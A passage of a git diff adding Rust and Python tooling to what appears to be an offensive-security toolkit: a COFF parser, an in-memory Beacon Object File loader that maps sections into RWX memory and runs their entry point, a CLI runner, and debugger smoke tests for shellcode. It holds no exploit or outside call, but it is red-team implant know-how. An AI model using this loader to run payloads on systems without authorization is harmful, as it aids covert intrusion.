as *const u8, + "BeaconDisableBeaconGate" => BeaconDisableBeaconGate as *const u8, + "BeaconEnableBeaconGate" => BeaconEnableBeaconGate as *const u8, + + // Custom commands + "BeaconAddCommand" => BeaconAddCommand as *const u8, + "BeaconRemoveCommand" => BeaconRemoveCommand as *const u8, + "BeaconGetCommand" => BeaconGetCommand as *const u8, + + _ => return None, + }; + Some(f) +} diff --git a/tools/bof-loader/src/coff.rs b/tools/bof-loader/src/coff.rs new file mode 100644 index 0000000..d5a6039 --- /dev/null +++ b/tools/bof-loader/src/coff.rs @@ -0,0 +1,110 @@ +// SPDX-License-Identifier: Apache-2.0 +//! COFF object-file parser. +//! +//! Read-only parsing of a `.obj` produced by `entc compile +//! --type=bof|coff` (or any standard COFF AMD64 object). Reads only +//! what the loader needs: file header, section headers, symbol +//! table, string table, relocations. +//! +//! Stays alloc-light - the input bytes stay live for the whole load, +//! so the parser hands out slices into them rather than copying. + +// Microsoft COFF constants we care about, spelled out rather than +// pulled from windows-sys so the parser stays compatible with the +// emitter (`src/coff.rs` in the compiler crate uses the same values). + +pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664; +pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001; +pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004; + +pub struct ParsedCoff<'a> { + pub bytes: &'a [u8], + pub n_sections: u16, + pub symtab_off: usize, + pub n_symbols: u32, + /// Cached string table starting at `symtab + 18 * n_symbols`. + /// First 4 bytes are the size (including the 4-byte size field). + pub strtab_off: usize, +} + +impl<'a> ParsedCoff<'a> { + pub fn parse(bytes: &'a [u8]) -> Result { + if bytes.len() < 20 { + return Err("file too small to be a COFF object".into()); + } + let machine = u16::from_le_bytes([bytes[0], bytes[1]]); + if machine != IMAGE_FILE_MACHINE_AMD64 { + return Err(format!( + "expected AMD64 machine (0x{:04x}), got 0x{machine:04x}", + IMAGE_FILE_MACHINE_AMD64 + )); + } + let n_sections = u16::from_le_bytes([bytes[2], bytes[3]]); + let symtab_off = u32::from_le_bytes([bytes[8], bytes[9], bytes[10], bytes[11]]) as usize; + let n_symbols = u32::from_le_bytes([bytes[12], bytes[13], bytes[14], bytes[15]]); + let strtab_off = symtab_off + 18 * n_symbols as usize; + Ok(Self { bytes, n_sections, symtab_off, n_symbols, strtab_off }) + } + + pub fn section(&self, i: u16) -> SectionInfo<'a> { + let base = 20 + 40 * i as usize; + let raw_size = u32::from_le_bytes(self.bytes[base+16..base+20].try_into().unwrap()); + let raw_off = u32::from_le_bytes(self.bytes[base+20..base+24].try_into().unwrap()); + let reloc_off = u32::from_le_bytes(self.bytes[base+24..base+28].try_into().unwrap()); + let n_relocs = u16::from_le_bytes(self.bytes[base+32..base+34].try_into().unwrap()); + let chars = u32::from_le_bytes(self.bytes[base+36..base+40].try_into().unwrap()); + let name = { + let raw = &self.bytes[base..base+8]; + let end = raw.iter().position(|&b| b == 0).unwrap_or(raw.len()); + std::str::from_utf8(&raw[..end]).unwrap_or("?").to_string() + }; + SectionInfo { + name, + raw_size, + raw: if raw_off == 0 { &[] } else { + &self.bytes[raw_off as usize .. raw_off as usize + raw_size as usize] + }, + relocs: if reloc_off == 0 { &[] } else { + &self.bytes[reloc_off as usize .. reloc_off as usize + 10 * n_relocs as usize] + }, + characteristics: chars, + } + } + + pub fn symbol_name(&self, idx: u32) -> String { + let base = self.symtab_off + 18 * idx as usize; + let raw = &self.bytes[base..base+8]; + if raw[0] == 0 && raw[1] == 0 && raw[2] == 0 && raw[3] == 0 { + let off = u32::from_le_bytes(raw[4..8].try_into().unwrap()) as usize; + let start = self.strtab_off + off; + let end = self.bytes[start..].iter().position(|&b| b == 0) + .map(|n| start + n).unwrap_or(self.bytes.len()); + std::str::from_utf8(&self.bytes[start..end]).unwrap_or("?").to_string() + } else { + let end = raw.iter().position(|&b| b == 0).unwrap_or(8); + std::str::from_utf8(&raw[..end]).unwrap_or("?").to_string() + } + } + + pub fn symbol_value(&self, idx: u32) -> u32 { + let base = self.symtab_off + 18 * idx as usize; + u32::from_le_bytes(self.bytes[base+8..base+12].try_into().unwrap()) + } + + /// 1-based section number, or 0 for undefined (external) symbols. + /// Stored as a signed 16-bit in the COFF spec - `IMAGE_SYM_UNDEFINED = 0`, + /// `IMAGE_SYM_ABSOLUTE = -1`, `IMAGE_SYM_DEBUG = -2`; we only care about + /// the >= 1 cases plus 0. + pub fn symbol_section(&self, idx: u32) -> i16 { + let base = self.symtab_off + 18 * idx as usize; + i16::from_le_bytes(self.bytes[base+12..base+14].try_into().unwrap()) + } +} + +pub struct SectionInfo<'a> { + pub name: String, + pub raw_size: u32, + pub raw: &'a [u8], + pub relocs: &'a [u8], + pub characteristics: u32, +} diff --git a/tools/bof-loader/src/lib.rs b/tools/bof-loader/src/lib.rs new file mode 100644 index 0000000..8921d74 --- /dev/null +++ b/tools/bof-loader/src/lib.rs @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: Apache-2.0 +//! bof-loader - shared in-process COFF loader for EntropyKit BOFs. +//! +//! Used by: +//! - `bof-runner` (CLI harness for fast iteration) +//! - `entc-debug` (VS Code DAP server, BOF mode) +//! +//! Both consumers need the same logic - parse a `.obj`, allocate +//! sections, resolve `__imp_*` slots (Beacon stubs + Win32 imports), +//! apply REL32 / ADDR64 relocations, expose the loaded artifact for +//! the caller to either execute (`bof-runner`) or instrument with +//! `int 3` planting (`entc-debug`). +//! +//! Public surface: +//! +//! - [`coff::ParsedCoff`] - parser for COFF object files. +//! - [`beacon`] - Beacon API stub dispatch table. +//! - [`args::parse_packed_args`] - bof_pack-format CLI args packer. +//! - [`load::load`] - end-to-end load: parse to map to resolve to relocate. +//! Returns a [`load::LoadedBof`] with section bases, `go` offset, +//! and the imp-slot region (kept live for the caller's lifetime). +//! +//! Windows-only - the loader needs `VirtualAlloc` + `LoadLibrary` + +//! `GetProcAddress`. On non-Windows, the crate builds but every load +//! call returns an "Windows-only" error so the consumers stay +//! cross-platform-buildable. + +#![allow(clippy::missing_safety_doc)] + +pub mod coff; + +#[cfg(windows)] +pub mod beacon; + +pub mod args; + +#[cfg(windows)] +pub mod load; + +#[cfg(not(windows))] +pub mod load { + pub struct LoadedBof; + pub fn load(_bytes: &[u8]) -> Result { + Err("bof-loader is Windows-only - it calls Win32 APIs to map RWX pages \ + and resolve __imp_* symbols.".into()) + } +} diff --git a/tools/bof-loader/src/load.rs b/tools/bof-loader/src/load.rs new file mode 100644 index 0000000..be82483 --- /dev/null +++ b/tools/bof-loader/src/load.rs @@ -0,0 +1,251 @@ +// SPDX-License-Identifier: Apache-2.0 +//! End-to-end COFF load. +//! +//! Given the bytes of a `.obj`, produce a [`LoadedBof`] that the +//! caller can execute (`bof-runner`) or instrument with `int 3` for +//! source-level debugging (`entc-debug`). +//! +//! The load pipeline: +//! +//! 1. Parse the COFF headers / symbol table / string table. +//! 2. VirtualAlloc each section's raw bytes into RWX memory. +//! `.bss` (raw_size > 0 but no raw bytes) gets a zero-filled +//! VirtualAlloc'd region. RWX everywhere matches what we use +//! for shellcode - pragmatic for a test loader; a production +//! Beacon-equivalent would split RX/R/RW per characteristic. +//! 3. Walk every symbol: +//! - Undefined external (`__imp_`): resolve via the +//! Beacon-API dispatch table, falling back to +//! `GetModuleHandle`/`LoadLibrary` + `GetProcAddress` for +//! `LIBRARY$Function` form. Store the resolved pointer in +//! a per-symbol slot inside a `PAGE_READWRITE` slot table. +//! - Defined section symbol: record runtime address (section +//! base + symbol's value). +//! Resolve `go` along the way - its offset is needed by the +//! caller to invoke the entry point. +//! 4. Apply every section's relocations using the unified +//! `sym_addr` table. + +use std::ptr; + +use windows_sys::Win32::Foundation::HMODULE; +use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA}; +use windows_sys::Win32::System::Memory::{ + VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, +}; + +use crate::beacon; +use crate::coff::{ParsedCoff, IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_REL32}; + +/// Result of loading a `.obj` into memory. +/// +/// All fields refer to live VirtualAlloc'd regions. The caller keeps +/// the `LoadedBof` value alive for as long as it wants to call into +/// the BOF - dropping it doesn't release the regions (we deliberately +/// leak them; the harness exits after one run, and the debugger +/// process exits after a session, so explicit teardown isn't worth +/// the complexity). +pub struct LoadedBof { + /// Runtime base address of the `.text` section. Add `go_offset` + /// for the entry function's address. + pub text_base: usize, + pub text_size: usize, + /// Offset of `go` within `.text`. `text_base + go_offset` is the + /// address to transmute and call as `extern "system" fn(*const u8, i32)`. + pub go_offset: u32, + /// Per-section runtime bases (1-indexed; element 0 is unused so + /// COFF's 1-based section numbers map directly). + pub section_bases: Vec, + /// Address of the `__imp_*` slot table. Indexed by symbol-table + /// index - `slot_addr(idx) = imp_slots + idx * 8`. Each slot + /// holds the resolved function pointer for that external symbol. + pub imp_slots: usize, +} + +pub fn load(bytes: &[u8]) -> Result { + let coff = ParsedCoff::parse(bytes)?; + + // ---- Map every section's raw bytes into RWX memory -------------------- + let mut section_bases: Vec = vec![0; coff.n_sections as usize + 1]; + let mut text_base: usize = 0; + let mut text_size: usize = 0; + + for i in 0..coff.n_sections { + let sec = coff.section(i); + let size = sec.raw_size as usize; + if size == 0 { continue; } + let p = unsafe { + VirtualAlloc(ptr::null(), size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) + } as usize; + if p == 0 { + return Err(format!("VirtualAlloc({size}) failed for section `{}`", sec.name)); + } + if !sec.raw.is_empty() { + unsafe { ptr::copy_nonoverlapping(sec.raw.as_ptr(), p as *mut u8, size); } + } else { + // .bss-style: zero-fill the region. + unsafe { ptr::write_bytes(p as *mut u8, 0, size); } + } + section_bases[i as usize + 1] = p; + if sec.name == ".text" { + text_base = p; + text_size = size; + } + } + + // ---- Build a unified symbol-address table ----------------------------- + let n_syms = coff.n_symbols as usize; + let imp_slots = unsafe { + VirtualAlloc(ptr::null(), n_syms.max(1) * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) + } as usize; + if imp_slots == 0 { + return Err("VirtualAlloc for imp_slots failed".into()); + } + + let mut sym_addr: Vec = vec![0; n_syms]; + let mut go_offset: Option = None; + + for idx in 0..coff.n_symbols { + let name = coff.symbol_name(idx); + let section = coff.symbol_section(idx); + let value = coff.symbol_value(idx); + + if name == "go" { + go_offset = Some(value); + } + + if section == 0 { + // Undefined external - resolve via Beacon API table or + // LoadLibrary/GetProcAddress. + let slot_addr = imp_slots + (idx as usize) * 8; + let Some(rest) = name.strip_prefix("__imp_") else { + return Err(format!( + "undefined symbol `{name}` is not in `__imp_<...>` form - \ + unresolvable by the loader" + )); + }; + let resolved: usize = if let Some(p) = beacon::resolve(rest) { + p as usize + } else if let Some((lib, fun)) = split_dollar(rest) { + resolve_win32(lib, fun)? + } else { + return Err(format!( + "unresolved external `{name}` - not a known Beacon API \ + and not a `LIBRARY$Function` form" + )); + }; + unsafe { *(slot_addr as *mut usize) = resolved; } + sym_addr[idx as usize] = slot_addr; + } else if (section as usize) <= coff.n_sections as usize { + // Defined in one of our mapped sections. + sym_addr[idx as usize] = section_bases[section as usize] + value as usize; + } + // Negative section numbers (absolute, debug) - leave 0; no + // relocation should reference these. + } + + let Some(go_offset) = go_offset else { + return Err("BOF has no `go` symbol".into()); + }; + + // ---- Apply each section's relocations -------------------------------- + for i in 0..coff.n_sections { + let sec = coff.section(i); + if sec.relocs.is_empty() { continue; } + let sec_base = section_bases[i as usize + 1]; + if sec_base == 0 { + return Err(format!( + "section `{}` has relocations but wasn't mapped - refusing to patch", + sec.name + )); + } + let mut off = 0; + while off + 10 <= sec.relocs.len() { + let at = u32::from_le_bytes(sec.relocs[off..off+4].try_into().unwrap()); + let sym = u32::from_le_bytes(sec.relocs[off+4..off+8].try_into().unwrap()); + let ty = u16::from_le_bytes(sec.relocs[off+8..off+10].try_into().unwrap()); + off += 10; + + let patch_site = sec_base + at as usize; + let sym_target = sym_addr[sym as usize]; + + match ty { + IMAGE_REL_AMD64_REL32 => { + // The patch site already carries any compiler-side + // addend (in particular, the in-section offset for + // cross-section data references). Final disp32 is: + // sym_target + existing_addend - (patch_site + 4) + let existing_addend = unsafe { + let mut buf = [0u8; 4]; + ptr::copy_nonoverlapping(patch_site as *const u8, buf.as_mut_ptr(), 4); + i32::from_le_bytes(buf) as i64 + }; + let next_ip = (patch_site + 4) as i64; + let rel = sym_target as i64 + existing_addend - next_ip; + if rel < i32::MIN as i64 || rel > i32::MAX as i64 { + return Err(format!( + "REL32 to symbol #{sym} (`{}`) is out of range \ + (target=0x{sym_target:x}, addend=0x{existing_addend:x}, \ + site=0x{patch_site:x})", + coff.symbol_name(sym) + )); + } + let bytes = (rel as i32).to_le_bytes(); + unsafe { + ptr::copy_nonoverlapping(bytes.as_ptr(), patch_site as *mut u8, 4); + } + } + IMAGE_REL_AMD64_ADDR64 => { + let bytes = (sym_target as u64).to_le_bytes(); + unsafe { + ptr::copy_nonoverlapping(bytes.as_ptr(), patch_site as *mut u8, 8); + } + } + other => { + return Err(format!( + "unsupported relocation type 0x{other:04x} at \ + section #{i} offset 0x{at:x} (loader handles \ + REL32 + ADDR64 only)" + )); + } + } + } + } + + Ok(LoadedBof { + text_base, + text_size, + go_offset, + section_bases, + imp_slots, + }) +} + +/// `__imp_USER32$MessageBoxA` to `("USER32", "MessageBoxA")`. +fn split_dollar(rest: &str) -> Option<(&str, &str)> { + let dollar = rest.find('$')?; + Some((&rest[..dollar], &rest[dollar+1..])) +} + +fn resolve_win32(lib: &str, fun: &str) -> Result { + // GetModuleHandle first (already-loaded libraries); fall back to + // LoadLibrary so calling into a DLL not currently in the process + // maps it on demand. Matches what Beacon's loader does and what + // the Tradecraft Garden literature recommends for the missing- + // User32 case (`PIC Parterre`). + let lib_z = format!("{lib}\0"); + let lib_z_bytes = lib_z.as_bytes(); + let mut h: HMODULE = unsafe { GetModuleHandleA(lib_z_bytes.as_ptr()) }; + if h.is_null() { + h = unsafe { LoadLibraryA(lib_z_bytes.as_ptr()) }; + } + if h.is_null() { + return Err(format!("LoadLibraryA({lib}) failed")); + } + let fun_z = format!("{fun}\0"); + let p = unsafe { GetProcAddress(h, fun_z.as_bytes().as_ptr()) }; + match p { + Some(f) => Ok(f as usize), + None => Err(format!("GetProcAddress({lib}!{fun}) failed")), + } +} diff --git a/tools/bof-runner/Cargo.toml b/tools/bof-runner/Cargo.toml new file mode 100644 index 0000000..3083a1a --- /dev/null +++ b/tools/bof-runner/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "bof-runner" +version = "0.1.0" +edition = "2021" +description = "In-process loader / test harness for EntropyKit BOFs. Mmaps a .obj, resolves __imp_* slots, applies REL32 relocations, calls go()." + +[[bin]] +name = "bof-runner" +path = "src/main.rs" + +[dependencies] +bof-loader = { path = "../bof-loader" } diff --git a/tools/bof-runner/src/main.rs b/tools/bof-runner/src/main.rs new file mode 100644 index 0000000..39ebdca --- /dev/null +++ b/tools/bof-runner/src/main.rs @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: Apache-2.0 +//! bof-runner - CLI shell over the [`bof_loader`] library. +//! +//! Parses argv, packs typed `bof_pack` args, loads the `.obj` into +//! memory, and calls `go(args, len)`. The heavy lifting (COFF +//! parsing, section mapping, symbol resolution, REL32 / ADDR64 +//! relocations, Beacon API stubs) is placed in `tools/bof-loader/` so +//! the VS Code debugger (`entc-debug`) reuses every line of it. +//! +//! Usage: +//! bof-runner [args...] +//! +//! Argument forms (may repeat; order matters): +//! +//! --args "raw bytes" raw UTF-8 buffer + trailing NUL. +//! --zarg "string" `bof_pack "z"` - length-prefixed zstring. +//! --iarg N `bof_pack "i"` - big-endian 4-byte int. +//! --sarg N `bof_pack "s"` - big-endian 2-byte short. +//! --barg @path `bof_pack "b"` - length-prefixed binary blob. + +use std::env; +use std::fs; +use std::process::ExitCode; + +fn main() -> ExitCode { + let argv: Vec = env::args().collect(); + if argv.len() < 2 || argv[1].starts_with('-') { + eprintln!( + "usage: bof-runner [--args RAW] [--zarg STR] \ + [--iarg N] [--sarg N] [--barg @FILE]" + ); + return ExitCode::from(2); + } + let path = &argv[1]; + + let packed = match bof_loader::args::parse_packed_args(&argv[2..]) { + Ok(b) => b, + Err(e) => { eprintln!("bof-runner: {e}"); return ExitCode::from(2); } + }; + + let bytes = match fs::read(path) { + Ok(b) => b, + Err(e) => { eprintln!("read {path}: {e}"); return ExitCode::from(1); } + }; + + match run(&bytes, &packed) { + Ok(()) => ExitCode::from(0), + Err(e) => { eprintln!("bof-runner: {e}"); ExitCode::from(1) } + } +} + +#[cfg(not(windows))] +fn run(_bytes: &[u8], _args: &[u8]) -> Result<(), String> { + Err("bof-runner is Windows-only - it calls Win32 APIs to map RWX pages \ + and resolve LIBRARY$Function imports. Build + run on Windows.".into()) +} + +#[cfg(windows)] +fn run(bytes: &[u8], args_buf: &[u8]) -> Result<(), String> { + let loaded = bof_loader::load::load(bytes)?; + + // Append a trailing NUL so a BOF that treats `args` as a C string + // (the simple `MessageBoxA(0, args, ...)` pattern) doesn't read + // past the end. The reported `len` excludes the NUL - matches + // Beacon's convention where `len` is the data length only. + let mut args_buf_z: Vec = args_buf.to_vec(); + args_buf_z.push(0); + let payload_len = (args_buf_z.len() - 1) as i32; + + let go_addr = loaded.text_base + loaded.go_offset as usize; + let go_fn: unsafe extern "system" fn(*const u8, i32) = + unsafe { std::mem::transmute(go_addr) }; + unsafe { go_fn(args_buf_z.as_ptr(), payload_len); } + Ok(()) +} diff --git a/tools/entc-debug/Cargo.toml b/tools/entc-debug/Cargo.toml new file mode 100644 index 0000000..d1048a0 --- /dev/null +++ b/tools/entc-debug/Cargo.toml @@ -0,0 +1,34 @@ +[package] +name = "entc-debug" +version = "0.1.0" +edition = "2021" +description = "DAP server + in-process tracer for EntropyKit shellcode - drives VS Code's Run > Start Debugging." + +[[bin]] +name = "entc-debug" +path = "src/main.rs" + +[dependencies] +# Pure-Rust x86-64 disassembler for the DAP `disassemble` request and +# VS Code's Disassembly View. We only enable the decoder + intel-syntax +# formatter - the gas/masm/nasm formatters add ~MB to the binary for +# no UX gain. +iced-x86 = { version = "1.21.0", default-features = false, features = ["decoder", "intel", "std"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +# Shared COFF loader - used when launch.json's `program` is a `.obj`, +# so F5 on a BOF source file walks the same parse/map/relocate path +# the standalone `bof-runner` uses. +bof-loader = { path = "../bof-loader" } + +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.59", features = [ + "Win32_Foundation", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + # AddVectoredExceptionHandler / EXCEPTION_POINTERS are placed here, despite + # the misleading name (windows-sys 0.59 changed the feature grouping). + "Win32_System_Kernel", + "Win32_System_Threading", +] } diff --git a/tools/entc-debug/scripts/dap_asm_bp_smoke.py b/tools/entc-debug/scripts/dap_asm_bp_smoke.py new file mode 100644 index 0000000..e4aa9e2 --- /dev/null +++ b/tools/entc-debug/scripts/dap_asm_bp_smoke.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""dap_asm_bp_smoke.py - verify F9 inside `asm { ... }` plants and +fires a breakpoint at the right .bin offset. + +Drives entc-debug.exe over DAP-on-stdio with the exact sequence VS +Code's "set breakpoint, then F5" flow uses: + + initialize -> launch (stopOnEntry: false, no inherent break) + -> setBreakpoints(asm_test.etpy, []) + -> configurationDone + -> wait for `stopped` with reason=breakpoint + -> assert the stop's `line` == the line we set + +Usage: + python dap_asm_bp_smoke.py +""" + +import json +import subprocess +import sys +import time +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent.parent +ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe" +SOURCE = REPO / "example" / "asm_test.etpy" + + +def encode_msg(obj): + body = json.dumps(obj).encode("utf-8") + return f"Content-Length: {len(body)}\r\n\r\n".encode() + body + + +def read_frame(proc): + headers = b"" + while not headers.endswith(b"\r\n\r\n"): + b = proc.stdout.read(1) + if not b: return None + headers += b + length = 0 + for line in headers.decode().split("\r\n"): + if line.lower().startswith("content-length:"): + length = int(line.split(":", 1)[1].strip()) + body = b"" + while len(body) < length: + chunk = proc.stdout.read(length - len(body)) + if not chunk: return None + body += chunk + return json.loads(body) + + +def send(proc, seq, command, **kwargs): + proc.stdin.write(encode_msg({ + "seq": seq, "type": "request", "command": command, "arguments": kwargs, + })) + proc.stdin.flush() + + +def main(): + # Allow overriding target line via CLI for testing several + # asm-body lines (instruction, label, post-loop body). + target_line = int(sys.argv[1]) if len(sys.argv) > 1 else 24 + + proc = subprocess.Popen( + [str(ENTC_DEBUG), "dap"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + bufsize=0, + ) + + seq = 1 + send(proc, seq, "initialize", adapterID="entropykit"); seq += 1 + send(proc, seq, "launch", + program=str(SOURCE), + stopOnEntry=False); seq += 1 + + breakpoints_set = False + verified_line = None # what setBreakpoints reported + stop_line = None # what stackTrace reported when bp fired + deadline = time.time() + 30 + while time.time() < deadline: + msg = read_frame(proc) + if msg is None: break + if msg.get("type") == "response": + cmd = msg["command"] + if cmd == "launch" and msg.get("success"): + send(proc, seq, "setBreakpoints", + source={"path": str(SOURCE)}, + breakpoints=[{"line": target_line}]); seq += 1 + elif cmd == "launch": + print(f"[asm-bp-smoke] launch failed: {msg.get('message')}") + break + elif cmd == "setBreakpoints": + rows = msg.get("body", {}).get("breakpoints", []) + verified = [r for r in rows if r.get("verified")] + if not verified: + print(f"[asm-bp-smoke] FAIL: bp at line {target_line} not verified: {rows}") + break + verified_line = verified[0].get("line") + print(f"[asm-bp-smoke] bp at requested line {target_line} verified, mapped to {verified_line}") + breakpoints_set = True + send(proc, seq, "configurationDone"); seq += 1 + elif cmd == "configurationDone": + pass + elif msg.get("type") == "event": + ev = msg.get("event") + body = msg.get("body", {}) + if ev == "stopped" and body.get("reason") == "breakpoint": + send(proc, seq, "stackTrace", threadId=1); seq += 1 + elif ev == "terminated": + print("[asm-bp-smoke] terminated before bp hit") + break + if msg.get("command") == "stackTrace" and msg.get("type") == "response": + frames = msg.get("body", {}).get("stackFrames", []) + if frames: + stop_line = frames[0].get("line") + send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1 + break + + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.terminate(); proc.wait() + + # Pass criteria: + # - setBreakpoints verified the bp (either the requested line + # or a forward-snapped one - both are valid). + # - The stop fired and reported a source line consistent with + # the verified one. + if breakpoints_set and stop_line == verified_line and verified_line is not None: + print(f"[asm-bp-smoke] PASS - bp at requested={target_line} verified={verified_line} stop={stop_line}") + return 0 + print(f"[asm-bp-smoke] FAIL - requested={target_line} verified={verified_line} stop={stop_line}") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/entc-debug/scripts/dap_bof_output_smoke.py b/tools/entc-debug/scripts/dap_bof_output_smoke.py new file mode 100644 index 0000000..93a6b9a --- /dev/null +++ b/tools/entc-debug/scripts/dap_bof_output_smoke.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""dap_bof_output_smoke.py - confirm BeaconPrintf output reaches DAP. + +Launches a BOF through entc-debug.exe in DAP mode WITHOUT stopOnEntry, +runs it to completion, and prints every `output` event the adapter +emits. Without the output-hook wiring, the BOF's BeaconPrintf writes +land on entc-debug's own stdout (which is the DAP wire channel) and +get either dropped by VS Code or corrupt the next DAP frame - either +way the user sees nothing in the Debug Console. + +With the hook installed, every BeaconPrintf turns into one DAP +`output` event with category "console", which is exactly what shows +up in VS Code's Debug Console panel. + +Usage: + python dap_bof_output_smoke.py [bof_args...] +""" + +import json +import subprocess +import sys +import time +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent.parent +ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe" + + +def encode_msg(obj): + body = json.dumps(obj).encode("utf-8") + return f"Content-Length: {len(body)}\r\n\r\n".encode() + body + + +def read_frame(proc): + headers = b"" + while not headers.endswith(b"\r\n\r\n"): + b = proc.stdout.read(1) + if not b: return None + headers += b + length = 0 + for line in headers.decode().split("\r\n"): + if line.lower().startswith("content-length:"): + length = int(line.split(":", 1)[1].strip()) + body = b"" + while len(body) < length: + chunk = proc.stdout.read(length - len(body)) + if not chunk: return None + body += chunk + return json.loads(body) + + +def send(proc, seq, command, **kwargs): + proc.stdin.write(encode_msg({ + "seq": seq, "type": "request", "command": command, "arguments": kwargs, + })) + proc.stdin.flush() + + +def main(): + if len(sys.argv) < 2: + print("usage: dap_bof_output_smoke.py [args...]") + return 2 + source = Path(sys.argv[1]).resolve() + bof_args = sys.argv[2:] + if not ENTC_DEBUG.exists(): + print(f"missing: {ENTC_DEBUG}") + return 1 + + proc = subprocess.Popen( + [str(ENTC_DEBUG), "dap"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + bufsize=0, + ) + seq = 1 + send(proc, seq, "initialize", adapterID="entropykit"); seq += 1 + send(proc, seq, "launch", + program=str(source), + stopOnEntry=False, + args=bof_args); seq += 1 + + output_events = [] + deadline = time.time() + 60 + done = False + while not done and time.time() < deadline: + msg = read_frame(proc) + if msg is None: break + if msg.get("type") == "response": + cmd = msg["command"] + if cmd == "launch": + if not msg.get("success"): + print(f"FAIL: launch failed: {msg.get('message')}") + return 1 + send(proc, seq, "configurationDone"); seq += 1 + elif msg.get("type") == "event": + ev = msg.get("event") + body = msg.get("body", {}) + if ev == "output": + output_events.append(body.get("output", "")) + elif ev in ("exited", "terminated"): + done = True + send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1 + + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.terminate(); proc.wait() + + # Reconfigure stdout for UTF-8 so non-ASCII bytes (em-dashes, + # smart quotes, etc.) in BOF output don't trip CP1252 encoding + # on Windows. The DAP channel itself is UTF-8 end-to-end. + try: + sys.stdout.reconfigure(encoding="utf-8", errors="replace") + except Exception: + pass + print(f"[smoke] received {len(output_events)} `output` event(s):") + for ev in output_events: + sys.stdout.write(f" {ev.rstrip()}\n") + # Pass criterion: AT LEAST ONE output event whose text contains + # the BOF marker `[BOF]`. Without the hook, the BOF's print + # writes never reach DAP to zero `[BOF]` lines. + bof_lines = [e for e in output_events if "[BOF]" in e] + if bof_lines: + print(f"[smoke] PASS - saw {len(bof_lines)} [BOF] line(s) routed through DAP") + return 0 + print("[smoke] FAIL - no [BOF] output events flowed through DAP") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/entc-debug/scripts/dap_launch_smoke.py b/tools/entc-debug/scripts/dap_launch_smoke.py new file mode 100644 index 0000000..194a33d --- /dev/null +++ b/tools/entc-debug/scripts/dap_launch_smoke.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""dap_launch_smoke.py - simulate a VS Code F5 against entc-debug. + +Drives entc-debug.exe's DAP-on-stdio protocol with the exact sequence +VS Code sends: + + initialize -> launch (program=.etpy) -> configurationDone + -> wait for `stopped` event (stopOnEntry confirms the right + artifact loaded) -> disconnect + +Exit code 0 means F5 against the given .etpy successfully: + - auto-detected build mode + - rebuilt the artifact + - loaded the .dbg sidecar + - planted the entry stopOnEntry breakpoint + - hit it (proves the right .obj/.bin actually ran) + +Usage: + python dap_launch_smoke.py [bof_arg ...] +""" + +import json +import struct +import subprocess +import sys +import time +from pathlib import Path + + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent.parent +ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe" + + +def encode_msg(obj): + body = json.dumps(obj).encode("utf-8") + return f"Content-Length: {len(body)}\r\n\r\n".encode() + body + + +def read_frame(proc): + """Read one DAP frame from stdout. Returns the parsed dict or None + on EOF / timeout.""" + headers = b"" + while not headers.endswith(b"\r\n\r\n"): + b = proc.stdout.read(1) + if not b: + return None + headers += b + # Parse Content-Length. + length = 0 + for line in headers.decode().split("\r\n"): + if line.lower().startswith("content-length:"): + length = int(line.split(":", 1)[1].strip()) + body = b"" + while len(body) < length: + chunk = proc.stdout.read(length - len(body)) + if not chunk: + return None + body += chunk + return json.loads(body) + + +def send(proc, seq, command, **kwargs): + msg = {"seq": seq, "type": "request", "command": command, "arguments": kwargs} + proc.stdin.write(encode_msg(msg)) + proc.stdin.flush() + + +def main(): + if len(sys.argv) < 2: + print("usage: dap_launch_smoke.py [bof_args...]") + return 2 + source = Path(sys.argv[1]).resolve() + bof_args = sys.argv[2:] + + # Note: we deliberately don't pre-check source.exists() - the + # whole point of the adapter's auto-upgrade-to-source-mode path + # is to handle a missing artifact with a sibling .etpy by + # rebuilding from source. We want to exercise that. + if not ENTC_DEBUG.exists(): + print(f"entc-debug not found: {ENTC_DEBUG}") + print("Run: cargo build --release -p entc-debug") + return 1 + + print(f"[smoke] launching {ENTC_DEBUG.name} against {source.name}") + proc = subprocess.Popen( + [str(ENTC_DEBUG), "dap"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + bufsize=0, + ) + + seq = 1 + send(proc, seq, "initialize", clientID="smoke", adapterID="entropykit"); seq += 1 + launch_args = { + "program": str(source), + "stopOnEntry": True, + "args": bof_args, + } + send(proc, seq, "launch", **launch_args); seq += 1 + + stopped_received = False + launch_ok = None + deadline = time.time() + 30 + sent_config_done = False + while time.time() < deadline: + proc.stdout_ready = True + # NOTE: read_frame blocks; that's fine for this smoke test + # because entc-debug emits frames promptly 